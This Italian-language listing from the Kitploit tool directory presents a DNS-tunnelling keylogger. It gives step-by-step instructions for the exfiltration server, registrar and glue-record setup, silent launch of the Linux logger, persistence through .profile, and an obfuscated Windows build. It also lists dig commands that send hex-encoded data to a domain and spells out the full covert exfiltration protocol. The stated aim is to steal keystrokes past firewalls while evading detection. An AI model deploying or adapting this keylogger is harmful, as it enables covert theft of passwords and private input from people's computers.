Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DNS-Tunnel-Keylogger — Server e client di keylogging che utilizzano il tunneling/esfiltrazione DNS per trasmettere le sequenze di tasti attraverso i firewall. | Kitploit
Strumenti/GitHubGitHub/geeoon/dns-tunnel-keylogger
Esfiltrazione DatiPost-ExploitCommand and ControlRed TeamingAnalisi DNS
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Server e client di keylogging che utilizzano il tunneling/esfiltrazione DNS per trasmettere le sequenze di tasti attraverso i firewall.

Vedi Repository
280452 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Keylogger con Tunnel DNS

Questo keylogger post-exploitation esfiltra in modo nascosto i tasti premuti verso un server.

Questi strumenti eccellono nell'esfiltrazione leggera e nella persistenza, proprietà che impediranno il rilevamento. Utilizza il tunneling/esfiltrazione DNS per bypassare i firewall ed evitare il rilevamento.

Server

Setup

Il server utilizza python3.

Per installare le dipendenze, esegui python3 -m pip install -r requirements.txt

Avvio del Server

Per avviare il server, esegui python3 main.py

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

Per impostazione predefinita, il server ascolta sulla porta UDP 53. Usa il flag -p per specificare una porta diversa.

ip è l'indirizzo IP del server. Viene utilizzato nei record SOA e NS, che consentono ad altri nameserver di trovare il server.

domain è il dominio su cui ascoltare, che dovrebbe essere il dominio per cui il server è autoritativo.

Registrar

Sul registrar, devi cambiare il namespace del tuo dominio in DNS personalizzato.

Puntali a due domini, ns1.example.com e ns2.example.com.

Custom DNS on Spaceship

Aggiungi record che puntano i domini namespace all'indirizzo IP del tuo server di esfiltrazione.

Personal Nameservers on Spaceship

Questa operazione equivale a impostare glue record.

Client

Linux

Il keylogger per Linux è composto da due script bash. connection.sh viene utilizzato dallo script logger.sh per inviare i tasti premuti al server. Se desideri inviare manualmente dati, ad esempio un file, puoi inviare i dati tramite pipe allo script connection.sh. Stabilirà automaticamente una connessione e invierà i dati.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Per avviare il keylogger, esegui il comando ./logger.sh [dominio] && exit. Questo avvierà silenziosamente il keylogger e qualsiasi input digitato verrà inviato. Il && exit alla fine farà sì che la shell si chiuda al momento dell'uscita. Senza di esso, l'uscita ti riporterà alla shell non keyloggata. Rimuovi &> /dev/null per visualizzare i messaggi di errore.

L'opzione -p specificherà la posizione del file di log temporaneo in cui vengono inviati tutti gli input. Per impostazione predefinita, è /tmp/.

L'opzione -l mostrerà avvisi ed errori. Può essere utile per il debug.

logger.sh e connection.sh devono essere nella stessa directory affinché il keylogger funzioni. Se desideri persistenza, puoi aggiungere il comando a .profile per avviarlo ad ogni nuova shell interattiva.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

Per compilare il programma keylogger, esegui make nella directory windows. Per compilare con dimensioni ridotte e un po' di offuscamento, esegui il target production. Questo creerà la directory build per te e produrrà un file chiamato logger.exe nella directory build. Ho testato la compilazione solo con MinGW su Windows 10. Se provi a usare g++ su una macchina non Windows, probabilmente otterrai errori di compilazione relativi a windows.h.

make production domain=example.com

Puoi anche scegliere di compilare il programma con debug eseguendo il target debug.

make debug domain=example.com

Per entrambi i target, dovrai specificare il dominio su cui il server sta ascoltando.

Invio di Richieste di Prova

Puoi usare dig per inviare richieste al server:

dig @127.0.0.1 a.1.1.1.example.com A +short invia una richiesta di connessione a un server su localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short invia un messaggio di prova a localhost.

Sostituisci example.com con il dominio su cui il server sta ascoltando.

Protocollo

Avvio di una Connessione

Le richieste di record A che iniziano con a indicano l'inizio di una "connessione." Quando il server le riceve, risponderà con un falso indirizzo IP non riservato in cui l'ultimo ottetto contiene l'id del client.

Il formato da seguire per avviare una connessione è: a.1.1.1.[sld].[tld].

Il server risponderà con un indirizzo IP nel formato seguente: 123.123.123.[id]

Le connessioni concorrenti non possono superare 254 e i client non sono mai considerati "disconnessi."

Esfiltrazione dei Dati

Le richieste di record A che iniziano con b indicano dati esfiltrati inviati al server.

Il formato da seguire per inviare dati dopo aver stabilito una connessione è: b.[# pacchetto].[id].[dati].[sld].[tld].

Il server risponderà con [codice].123.123.123

id è l'id stabilito al momento della connessione. I dati vengono inviati come ASCII codificato in esadecimale.

codice è uno dei codici descritti di seguito.

Codici di Risposta

200: OK

Se il client invia una richiesta elaborata normalmente, il server risponderà con il codice 200.

201: Richieste di Record Malformate

Se il client invia una richiesta di record malformata, il server risponderà con il codice 201.

202: Connessioni Inesistenti

Se il client invia un pacchetto dati con un id maggiore del numero di connessioni, il server risponderà con il codice 202.

203: Pacchetti Fuori Ordine

Se il client invia un pacchetto con un id di pacchetto che non corrisponde a quanto previsto, il server risponderà con il codice 203. Client e server dovrebbero reimpostare i numeri di pacchetto a 0. Quindi il client può reinviare il pacchetto con il nuovo id di pacchetto.

204 Raggiunto Massimo di Connessioni

Se il client tenta di creare una connessione quando il massimo è stato raggiunto, il server risponderà con il codice 204.

Pacchetti Persi

I client dovrebbero fare affidamento sulle risposte come conferme dei pacchetti ricevuti. Se non ricevono una risposta, dovrebbero reinviare lo stesso payload.

Note Aggiuntive

Linux

File di Log

Il file di log contenente gli input dell'utente contiene caratteri di controllo ASCII, come backspace, cancella e ritorno a capo. Se stampi il contenuto usando qualcosa come cat, dovresti selezionare l'opzione appropriata per stampare i caratteri di controllo ASCII, come -v per cat, o aprirlo in un editor di testo.

Shell Non Interattive

Il keylogger si basa su script, quindi non funzionerà in shell non interattive.

Windows

Richieste Ripetute

Per qualche motivo, la funzione Windows Dns_Query_A invia sempre richieste duplicate. Il server lo gestirà correttamente perché scarta i pacchetti ripetuti.

Scarica lo strumento